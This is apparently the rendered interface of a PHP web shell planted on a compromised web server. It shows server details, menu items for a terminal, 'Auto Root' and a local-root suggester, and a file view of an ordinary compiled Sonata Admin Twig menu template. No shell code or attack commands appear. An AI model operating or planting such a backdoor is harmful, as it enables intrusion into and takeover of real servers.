Linux cesa-www-main 6.1.0-49-cloud-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.1.174-1 (2026-05-26) x86_64
Apache/2.4.68 (Debian)
Server IP : 10.218.0.2 & Your IP : 216.73.216.28
Domains :
Cant Read [ /etc/named.conf ]
User : www-data
Terminal
Auto Root
Create File
Create Folder
Localroot Suggester
Backdoor Destroyer
Readme
/
var /
www /
v3.cesa.co.za /
var /
cache /
.!!QgY /
twig /
d5 /
Delete
Unzip
Name
Size
Permission
Date
Action
.htaccess
237
B
-r-xr-xr-x
2026-08-17 03:12
d5b084b1f111e2d4017955f65545f634.php
21.31
KB
-rwxrwxr-x
2026-05-18 12:54
d5e6a2f5929b1aa769ee49ca30d836fb.php
18.92
KB
-rwxrwxr-x
2026-05-18 12:54
Save
Rename
<?php use Twig\Environment; use Twig\Error\LoaderError; use Twig\Error\RuntimeError; use Twig\Extension\CoreExtension; use Twig\Extension\SandboxExtension; use Twig\Markup; use Twig\Sandbox\SecurityError; use Twig\Sandbox\SecurityNotAllowedTagError; use Twig\Sandbox\SecurityNotAllowedFilterError; use Twig\Sandbox\SecurityNotAllowedFunctionError; use Twig\Source; use Twig\Template; use Twig\TemplateWrapper; /* @SonataAdmin/Core/tab_menu_template.html.twig */ class __TwigTemplate_1d83996c8e4a5cda70fb4b63496fcdd2 extends Template { private Source $source; /** * @var array<string, Template> */ private array $macros = []; public function __construct(Environment $env) { parent::__construct($env); $this->source = $this->getSourceContext(); $this->blocks = [ 'item' => [$this, 'block_item'], 'dividerElement' => [$this, 'block_dividerElement'], 'linkElement' => [$this, 'block_linkElement'], 'spanElement' => [$this, 'block_spanElement'], 'dropdownElement' => [$this, 'block_dropdownElement'], 'label' => [$this, 'block_label'], ]; } protected function doGetParent(array $context): bool|string|Template|TemplateWrapper { // line 1 return "knp_menu.html.twig"; } protected function doDisplay(array $context, array $blocks = []): iterable { $macros = $this->macros; $this->parent = $this->load("knp_menu.html.twig", 1); yield from $this->parent->unwrap()->yield($context, array_merge($this->blocks, $blocks)); } // line 3 /** * @return iterable<null|scalar|\Stringable> */ public function block_item(array $context, array $blocks = []): iterable { $macros = $this->macros; // line 4 $macros["͜macros"] = $this->load("knp_menu.html.twig", 4)->unwrap(); // line 5 if ((($tmp = CoreExtension::getAttribute($this->env, $this->source, ($context["item"] ?? null), "displayed", [], "any", false, false, false, 5)) && $tmp instanceof Markup ? (string) $tmp : $tmp)) { // line 6 $context["attributes"] = CoreExtension::getAttribute($this->env, $this->source, ($context["item"] ?? null), "attributes", [], "any", false, false, false, 6); // line 7 $context["is_dropdown"] = ((CoreExtension::getAttribute($this->env, $this->source, ($context["attributes"] ?? null), "dropdown", [], "any", true, true, false, 7)) ? (Twig\Extension\CoreExtension::default(CoreExtension::getAttribute($this->env, $this->source, ($context["attributes"] ?? null), "dropdown", [], "any", false, false, false, 7), false)) : (false)); // line 8 $context["divider_prepend"] = ((CoreExtension::getAttribute($this->env, $this->source, ($context["attributes"] ?? null), "divider_prepend", [], "any", true, true, false, 8)) ? (Twig\Extension\CoreExtension::default(CoreExtension::getAttribute($this->env, $this->source, ($context["attributes"] ?? null), "divider_prepend", [], "any", false, false, false, 8), false)) : (false)); // line 9 $context["divider_append"] = ((CoreExtension::getAttribute($this->env, $this->source, ($context["attributes"] ?? null), "divider_append", [], "any", true, true, false, 9)) ? (Twig\Extension\CoreExtension::default(CoreExtension::getAttribute($this->env, $this->source, ($context["attributes"] ?? null), "divider_append", [], "any", false, false, false, 9), false)) : (false)); // line 10 yield " "; // line 12 $context["attributes"] = Twig\Extension\CoreExtension::merge(($context["attributes"] ?? null), ["dropdown" => null, "divider_prepend" => null, "divider_append" => null]); // line 14 if ((($tmp = ($context["divider_prepend"] ?? null)) && $tmp instanceof Markup ? (string) $tmp : $tmp)) { // line 15 yield " "; yield from $this->unwrap()->yieldBlock("dividerElement", $context, $blocks); } // line 17 yield " "; // line 19 $context["classes"] = (((($tmp = !Twig\Extension\CoreExtension::testEmpty(CoreExtension::getAttribute($this->env, $this->source, ($context["item"] ?? null), "attribute", ["class"], "method", false, false, false, 19))) && $tmp instanceof Markup ? (string) $tmp : $tmp)) ? ([CoreExtension::getAttribute($this->env, $this->source, ($context["item"] ?? null), "attribute", ["class"], "method", false, false, false, 19)]) : ([])); // line 21 if (array_key_exists("matcher", $context)) { yield " "; // line 22 if ((($tmp = CoreExtension::getAttribute($this->env, $this->source, ($context["matcher"] ?? null), "isCurrent", [($context["item"] ?? null)], "method", false, false, false, 22)) && $tmp instanceof Markup ? (string) $tmp : $tmp)) { // line 23 $context["classes"] = Twig\Extension\CoreExtension::merge(($context["classes"] ?? null), [CoreExtension::getAttribute($this->env, $this->source, ($context["options"] ?? null), "currentClass", [], "any", false, false, false, 23)]); } elseif ((($tmp = CoreExtension::getAttribute($this->env, $this->source, // line 24 ($context["matcher"] ?? null), "isAncestor", [($context["item"] ?? null), CoreExtension::getAttribute($this->env, $this->source, ($context["options"] ?? null), "depth", [], "any", false, false, false, 24)], "method", false, false, false, 24)) && $tmp instanceof Markup ? (string) $tmp : $tmp)) { // line 25 $context["classes"] = Twig\Extension\CoreExtension::merge(($context["classes"] ?? null), [CoreExtension::getAttribute($this->env, $this->source, ($context["options"] ?? null), "ancestorClass", [], "any", false, false, false, 25)]); } } else { // line 27 yield " "; // line 28 if ((($tmp = CoreExtension::getAttribute($this->env, $this->source, ($context["item"] ?? null), "current", [], "any", false, false, false, 28)) && $tmp instanceof Markup ? (string) $tmp : $tmp)) { // line 29 $context["classes"] = Twig\Extension\CoreExtension::merge(($context["classes"] ?? null), [CoreExtension::getAttribute($this->env, $this->source, ($context["options"] ?? null), "currentClass", [], "any", false, false, false, 29)]); } elseif ((($tmp = CoreExtension::getAttribute($this->env, $this->source, // line 30 ($context["item"] ?? null), "currentAncestor", [], "any", false, false, false, 30)) && $tmp instanceof Markup ? (string) $tmp : $tmp)) { // line 31 $context["classes"] = Twig\Extension\CoreExtension::merge(($context["classes"] ?? null), [CoreExtension::getAttribute($this->env, $this->source, ($context["options"] ?? null), "ancestorClass", [], "any", false, false, false, 31)]); } } // line 35 if ((($tmp = CoreExtension::getAttribute($this->env, $this->source, ($context["item"] ?? null), "actsLikeFirst", [], "any", false, false, false, 35)) && $tmp instanceof Markup ? (string) $tmp : $tmp)) { // line 36 $context["classes"] = Twig\Extension\CoreExtension::merge(($context["classes"] ?? null), [CoreExtension::getAttribute($this->env, $this->source, ($context["options"] ?? null), "firstClass", [], "any", false, false, false, 36)]); } // line 38 if ((($tmp = CoreExtension::getAttribute($this->env, $this->source, ($context["item"] ?? null), "actsLikeLast", [], "any", false, false, false, 38)) && $tmp instanceof Markup ? (string) $tmp : $tmp)) { // line 39 $context["classes"] = Twig\Extension\CoreExtension::merge(($context["classes"] ?? null), [CoreExtension::getAttribute($this->env, $this->source, ($context["options"] ?? null), "lastClass", [], "any", false, false, false, 39)]); } // line 41 yield " "; // line 43 $context["childrenClasses"] = (((($tmp = !Twig\Extension\CoreExtension::testEmpty(CoreExtension::getAttribute($this->env, $this->source, ($context["item"] ?? null), "childrenAttribute", ["class"], "method", false, false, false, 43))) && $tmp instanceof Markup ? (string) $tmp : $tmp)) ? ([CoreExtension::getAttribute($this->env, $this->source, ($context["item"] ?? null), "childrenAttribute", ["class"], "method", false, false, false, 43)]) : ([])); // line 44 $context["childrenClasses"] = Twig\Extension\CoreExtension::merge(($context["childrenClasses"] ?? null), [("menu_level_" . CoreExtension::getAttribute($this->env, $this->source, ($context["item"] ?? null), "level", [], "any", false, false, false, 44))]); // line 45 yield " "; // line 47 if ((($tmp = ($context["is_dropdown"] ?? null)) && $tmp instanceof Markup ? (string) $tmp : $tmp)) { // line 48 $context["classes"] = Twig\Extension\CoreExtension::merge(($context["classes"] ?? null), ["dropdown"]); // line 49 $context["childrenClasses"] = Twig\Extension\CoreExtension::merge(($context["childrenClasses"] ?? null), ["dropdown-menu"]); } // line 51 yield " "; // line 53 if ((($tmp = !Twig\Extension\CoreExtension::testEmpty(($context["classes"] ?? null))) && $tmp instanceof Markup ? (string) $tmp : $tmp)) { // line 54 $context["attributes"] = Twig\Extension\CoreExtension::merge(($context["attributes"] ?? null), ["class" => Twig\Extension\CoreExtension::join(($context["classes"] ?? null), " ")]); } // line 56 $context["listAttributes"] = Twig\Extension\CoreExtension::merge(CoreExtension::getAttribute($this->env, $this->source, ($context["item"] ?? null), "childrenAttributes", [], "any", false, false, false, 56), ["class" => Twig\Extension\CoreExtension::join(($context["childrenClasses"] ?? null), " ")]); // line 57 yield " "; // line 59 yield " <li"; yield $macros["͜macros"]->getTemplateForMacro("macro_attributes", $context, 59, $this->getSourceContext())->macro_attributes(...[($context["attributes"] ?? null)]); yield ">"; // line 60 if ((($tmp = ($context["is_dropdown"] ?? null)) && $tmp instanceof Markup ? (string) $tmp : $tmp)) { // line 61 yield " "; yield from $this->unwrap()->yieldBlock("dropdownElement", $context, $blocks); } elseif (( !Twig\Extension\CoreExtension::testEmpty(CoreExtension::getAttribute($this->env, $this->source, // line 62 ($context["item"] ?? null), "uri", [], "any", false, false, false, 62)) && ( !CoreExtension::getAttribute($this->env, $this->source, ($context["item"] ?? null), "current", [], "any", false, false, false, 62) || CoreExtension::getAttribute($this->env, $this->source, ($context["options"] ?? null), "currentAsLink", [], "any", false, false, false, 62)))) { // line 63 yield " "; yield from $this->unwrap()->yieldBlock("linkElement", $context, $blocks); } else { // line 65 yield " "; yield from $this->unwrap()->yieldBlock("spanElement", $context, $blocks); } // line 68 yield " "; yield from $this->unwrap()->yieldBlock("list", $context, $blocks); yield " </li>"; // line 71 if ((($tmp = ($context["divider_append"] ?? null)) && $tmp instanceof Markup ? (string) $tmp : $tmp)) { // line 72 yield " "; yield from $this->unwrap()->yieldBlock("dividerElement", $context, $blocks); } } yield from []; } // line 77 /** * @return iterable<null|scalar|\Stringable> */ public function block_dividerElement(array $context, array $blocks = []): iterable { $macros = $this->macros; // line 78 if ((CoreExtension::getAttribute($this->env, $this->source, ($context["item"] ?? null), "level", [], "any", false, false, false, 78) == 1)) { // line 79 yield " <li class=\"divider-vertical\"></li> "; } else { // line 81 yield " <li class=\"divider\"></li> "; } yield from []; } // line 85 /** * @return iterable<null|scalar|\Stringable> */ public function block_linkElement(array $context, array $blocks = []): iterable { $macros = $this->macros; // line 86 yield " "; $macros["͜macros"] = $this->load("knp_menu.html.twig", 86)->unwrap(); // line 87 yield " <a href=\""; yield $this->env->getRuntime('Twig\Runtime\EscaperRuntime')->escape(CoreExtension::getAttribute($this->env, $this->source, ($context["item"] ?? null), "uri", [], "any", false, false, false, 87), "html", null, true); yield "\""; yield $macros["͜macros"]->getTemplateForMacro("macro_attributes", $context, 87, $this->getSourceContext())->macro_attributes(...[CoreExtension::getAttribute($this->env, $this->source, ($context["item"] ?? null), "linkAttributes", [], "any", false, false, false, 87)]); yield "> "; // line 88 if ((($tmp = !Twig\Extension\CoreExtension::testEmpty(CoreExtension::getAttribute($this->env, $this->source, ($context["item"] ?? null), "attribute", ["icon"], "method", false, false, false, 88))) && $tmp instanceof Markup ? (string) $tmp : $tmp)) { // line 89 yield " "; yield $this->env->getRuntime('Sonata\AdminBundle\Twig\IconRuntime')->parseIcon(CoreExtension::getAttribute($this->env, $this->source, ($context["item"] ?? null), "attribute", ["icon"], "method", false, false, false, 89)); yield " "; } // line 91 yield " "; yield from $this->unwrap()->yieldBlock("label", $context, $blocks); yield " </a> "; yield from []; } // line 95 /** * @return iterable<null|scalar|\Stringable> */ public function block_spanElement(array $context, array $blocks = []): iterable { $macros = $this->macros; // line 96 yield " "; $macros["͜macros"] = $this->load("knp_menu.html.twig", 96)->unwrap(); // line 97 yield " <span "; yield $macros["͜macros"]->getTemplateForMacro("macro_attributes", $context, 97, $this->getSourceContext())->macro_attributes(...[CoreExtension::getAttribute($this->env, $this->source, ($context["item"] ?? null), "labelAttributes", [], "any", false, false, false, 97)]); yield "> "; // line 98 if ((($tmp = !Twig\Extension\CoreExtension::testEmpty(CoreExtension::getAttribute($this->env, $this->source, ($context["item"] ?? null), "attribute", ["icon"], "method", false, false, false, 98))) && $tmp instanceof Markup ? (string) $tmp : $tmp)) { // line 99 yield " "; yield $this->env->getRuntime('Sonata\AdminBundle\Twig\IconRuntime')->parseIcon(CoreExtension::getAttribute($this->env, $this->source, ($context["item"] ?? null), "attribute", ["icon"], "method", false, false, false, 99)); yield " "; } // line 101 yield " "; yield from $this->unwrap()->yieldBlock("label", $context, $blocks); yield " </span> "; yield from []; } // line 105 /** * @return iterable<null|scalar|\Stringable> */ public function block_dropdownElement(array $context, array $blocks = []): iterable { $macros = $this->macros; // line 106 yield " "; $macros["͜macros"] = $this->load("knp_menu.html.twig", 106)->unwrap(); // line 107 $context["classes"] = (((($tmp = !Twig\Extension\CoreExtension::testEmpty(CoreExtension::getAttribute($this->env, $this->source, ($context["item"] ?? null), "linkAttribute", ["class"], "method", false, false, false, 107))) && $tmp instanceof Markup ? (string) $tmp : $tmp)) ? ([CoreExtension::getAttribute($this->env, $this->source, ($context["item"] ?? null), "linkAttribute", ["class"], "method", false, false, false, 107)]) : ([])); // line 108 $context["classes"] = Twig\Extension\CoreExtension::merge(($context["classes"] ?? null), ["dropdown-toggle"]); // line 109 $context["attributes"] = CoreExtension::getAttribute($this->env, $this->source, ($context["item"] ?? null), "linkAttributes", [], "any", false, false, false, 109); // line 110 $context["attributes"] = Twig\Extension\CoreExtension::merge(($context["attributes"] ?? null), ["class" => Twig\Extension\CoreExtension::join(($context["classes"] ?? null), " ")]); // line 111 $context["attributes"] = Twig\Extension\CoreExtension::merge(($context["attributes"] ?? null), ["data-toggle" => "dropdown"]); // line 112 yield " <a href=\"#\""; yield $macros["͜macros"]->getTemplateForMacro("macro_attributes", $context, 112, $this->getSourceContext())->macro_attributes(...[($context["attributes"] ?? null)]); yield "> "; // line 113 if ((($tmp = !Twig\Extension\CoreExtension::testEmpty(CoreExtension::getAttribute($this->env, $this->source, ($context["item"] ?? null), "attribute", ["icon"], "method", false, false, false, 113))) && $tmp instanceof Markup ? (string) $tmp : $tmp)) { // line 114 yield " "; yield $this->env->getRuntime('Sonata\AdminBundle\Twig\IconRuntime')->parseIcon(CoreExtension::getAttribute($this->env, $this->source, ($context["item"] ?? null), "attribute", ["icon"], "method", false, false, false, 114)); yield " "; } // line 116 yield " "; yield from $this->unwrap()->yieldBlock("label", $context, $blocks); yield " <b class=\"caret\"></b> </a> "; yield from []; } // line 121 /** * @return iterable<null|scalar|\Stringable> */ public function block_label(array $context, array $blocks = []): iterable { $macros = $this->macros; // line 123 yield $this->env->getRuntime('Twig\Runtime\EscaperRuntime')->escape($this->extensions['Symfony\Bridge\Twig\Extension\TranslationExtension']->trans(CoreExtension::getAttribute($this->env, $this->source, // line 124 ($context["item"] ?? null), "getLabel", [], "method", false, false, false, 124), CoreExtension::getAttribute($this->env, $this->source, // line 125 ($context["item"] ?? null), "getExtra", ["translation_params", []], "method", false, false, false, 125), CoreExtension::getAttribute($this->env, $this->source, // line 126 ($context["item"] ?? null), "getExtra", ["translation_domain", (((($tmp = CoreExtension::getAttribute($this->env, $this->source, // line 128 ($context["item"] ?? null), "getParent", [], "method", false, false, false, 128)) && $tmp instanceof Markup ? (string) $tmp : $tmp)) ? (CoreExtension::getAttribute($this->env, $this->source, CoreExtension::getAttribute($this->env, $this->source, ($context["item"] ?? null), "getParent", [], "method", false, false, false, 128), "getExtra", ["translation_domain"], "method", false, false, false, 128)) : (null))], "method", false, false, false, 126)), "html", null, true); yield from []; } /** * @codeCoverageIgnore */ public function getTemplateName(): string { return "@SonataAdmin/Core/tab_menu_template.html.twig"; } /** * @codeCoverageIgnore */ public function isTraitable(): bool { return false; } /** * @codeCoverageIgnore */ public function getDebugInfo(): array { return array ( 330 => 128, 329 => 126, 328 => 125, 327 => 124, 326 => 123, 319 => 121, 309 => 116, 303 => 114, 301 => 113, 296 => 112, 294 => 111, 292 => 110, 290 => 109, 288 => 108, 286 => 107, 283 => 106, 276 => 105, 267 => 101, 261 => 99, 259 => 98, 254 => 97, 251 => 96, 244 => 95, 235 => 91, 229 => 89, 227 => 88, 220 => 87, 217 => 86, 210 => 85, 203 => 81, 199 => 79, 197 => 78, 190 => 77, 182 => 72, 180 => 71, 175 => 68, 171 => 65, 167 => 63, 165 => 62, 162 => 61, 160 => 60, 156 => 59, 153 => 57, 151 => 56, 148 => 54, 146 => 53, 143 => 51, 140 => 49, 138 => 48, 136 => 47, 133 => 45, 131 => 44, 129 => 43, 126 => 41, 123 => 39, 121 => 38, 118 => 36, 116 => 35, 112 => 31, 110 => 30, 108 => 29, 106 => 28, 104 => 27, 100 => 25, 98 => 24, 96 => 23, 94 => 22, 91 => 21, 89 => 19, 86 => 17, 82 => 15, 80 => 14, 78 => 12, 75 => 10, 73 => 9, 71 => 8, 69 => 7, 67 => 6, 65 => 5, 63 => 4, 56 => 3, 45 => 1,); } public function getSourceContext(): Source { return new Source("", "@SonataAdmin/Core/tab_menu_template.html.twig", "/var/www/v3.cesa.co.za/vendor/sonata-project/admin-bundle/src/Resources/views/Core/tab_menu_template.html.twig"); } }